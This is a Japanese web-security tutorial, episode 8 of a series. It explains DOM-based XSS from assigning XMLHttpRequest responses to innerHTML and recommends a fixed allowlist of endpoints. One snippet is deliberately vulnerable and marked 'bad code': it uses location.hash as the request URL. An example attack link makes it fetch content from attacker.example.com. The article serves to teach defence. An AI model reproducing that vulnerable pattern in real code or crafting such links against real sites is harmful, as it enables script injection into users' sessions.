JavaScriptセキュリティの基礎知識

第8回 DOM-based XSS その3

この記事を読むのに必要な時間:およそ 7 分

# 第8回 DOM-based XSS その3

前回および前々回で,DOM-based XSSに関する基本的な内容および対策方法の原則について説明しました。今回も引き続きDOM-baed XSSに関する話題を続けますが,これまでに説明した内容より応用的な話題を取り上げます。

一部のタグを許容してHTMLを組み立てる3つの場面

JavaScriptを使用して複雑なHTMLの操作を行うようなWebアプリケーションにおいては,「一部のタグを許容してHTMLを生成する処理をJavaScript上で行う」という場合もあるかもしれません。タグを許容しつつHTMLを生成するという場面は,たいていは以下のいずれかのような状況でしょう。

  • サーバ側でHTML断片となる文字列を生成し,ブラウザ上でHTML内に流し込む
  • あらかじめ定まった構造のHTMLをJavaScriptにて生成し,その一部にデータを当てはめる
  • ユーザーからの入力に基づき,自由にHTMLを生成する

それぞれの状況について,順に説明していきます。

サーバ側でHTML断片となる文字列を生成し,ブラウザ上でHTML内に流し込む

「XMLHttpRequestを用いて,必要となったタイミングで随時サーバ上からデータを取得し,ブラウザ上ではJavaScriptによってHTMLを更新する」といういわゆるAjaxアプリケーションにおいて,描画速度の向上などのためにサーバ上であらかじめHTMLの断片を生成し,ブラウザ上ではそれを表示対象となるHTML要素のinnerHTMLに代入する場合があります。典型的には,以下のようなコードになります。

var xhr = new XMLHttpRequest();
var url = "/news-update";
xhr.open("GET", url, true);
xhr.onload = function () {
    // サーバ上では「<div><a href="/news/20150101/">新製品のお知らせ</a></div>」のような文字列を返す
    document.getElementById("content").innerHTML = xhr.responseText;
};
xhr.send(null);

このような場合,以下のいずれかの条件でDOM-based XSSが発生することになるので,注意が必要です。

  • サーバ上で生成されるHTML断片文字列にXSSが存在する
  • XMLHttpRequestの接続先が攻撃者によってコントロール可能

ブラウザ上のJavaScriptでは,サーバ側で生成されたHTML断片文字列を無条件にinnerHTMLへと代入しているので,このHTML断片文字列内に「<」「>」などが攻撃者によって挿入可能な場合にはXSSが発生することになります。そのため,サーバ上でHTMLページ全体ではなくHTMLの断片を生成する場合においても,従来同様のXSS対策が必要となります。すなわち,連載第2回Webセキュリティのおさらい その2 XSSで説明した,従来どおりの基本的なXSS対策をサーバ上でのHTML断片の生成処理において徹底して適用する必要があります。

また,現在のブラウザでは,XMLHttpRequestは異なるオリジンへの接続も可能なため,XMLHttpRequestの接続先が攻撃者によってコントロール可能な場合には攻撃者の用意した任意のコンテンツがinnerHTMLに代入されることとなり,XSSへとつながります。

たとえば次のコードは,http://example.jp/#/newsのようなURLへアクセスした場合に,http://example.jp/newsの内容をXMLHttpRequestで取得することを想定して書かれたものですが,攻撃者がユーザーをhttp://example.jp/#//attacker.example.com/のようなURLへ誘導して,attacker.example.com上に用意したコンテンツをXMLHttpRequestで取得させ,それをinnerHTMLへ代入することになり,XSSが発生します。

// bad code
// URL内の#より後ろの部分をXMLHttpRequestの接続先として使用
// http://example.jp/#/newsであれば/newsをXMLHttpRequestで取得する
// 攻撃者はhttp://example.jp/#//attacker.example.com/のようなURLへ誘導することでXSSが発生する

var url = location.hash.substring(1);
var xhr = new XMLHttpRequest();
xhr.open("GET", url, true); // XMLHttpRequestの接続先はhttp://attacker.example.com/となる
xhr.onload = function () {
    document.getElementById("content").innerHTML = xhr.responseText;
};
xhr.send(null);

この対策として,XMLHttpRequestの接続先を自身のサイトのみに限定させる必要がありますが,接続先のURLが自サイトのものかなどを逐一確認する方法では漏れが発生しやすくなります。また,サイト内にオープンリダイレクタが存在した場合には,外部サイトへ接続されてしまう可能性もあります。そのため,「XMLHttpRequestの接続先をあらかじめ固定のリストとして保持しておき,それ以外のURLとは接続しない」という方法を採るのがいいでしょう。この方法であれば,容易に安全性を確保できます。

// URL内の#より後ろの部分でXMLHttpRequestの接続先を識別
// http://example.jp/#newsであれば/newsを,http://example.jp/#updateであれば/updateをXMLHttpRequestで取得する
// 接続先候補としては/news,/update,/infoがあるとする
var pages = {
    news : "/news",
    update : "/update",
    info : "/info"
};
var target = location.hash.substring(1);
var url = pages[target];
if (url === undefined || !pages.hasOwnProperty(target) ) {
    return; // リストに存在しない場合は関数を抜ける
}
var xhr = new XMLHttpRequest();
xhr.open("GET", url, true);
xhr.onload = function(){
    document.getElementById("content").innerHTML = xhr.responseText;
};
xhr.send(null);

XMLHttpRequestを使用する際のセキュリティ上の注意点については,今後の回にてより詳細に解説します。

著者プロフィール

はせがわようすけ

株式会社セキュアスカイ・テクノロジー常勤技術顧問。 Internet Explorer,Mozilla FirefoxをはじめWebアプリケーションに関する多数の脆弱性を発見。 Black Hat Japan 2008,韓国POC 2008,2010,OWASP AppSec APAC 2014他講演多数。 OWASP Kansai Chapter Leader / OWASP Japan Board member。

URL:http://utf-8.jp/

コメント

コメントの記入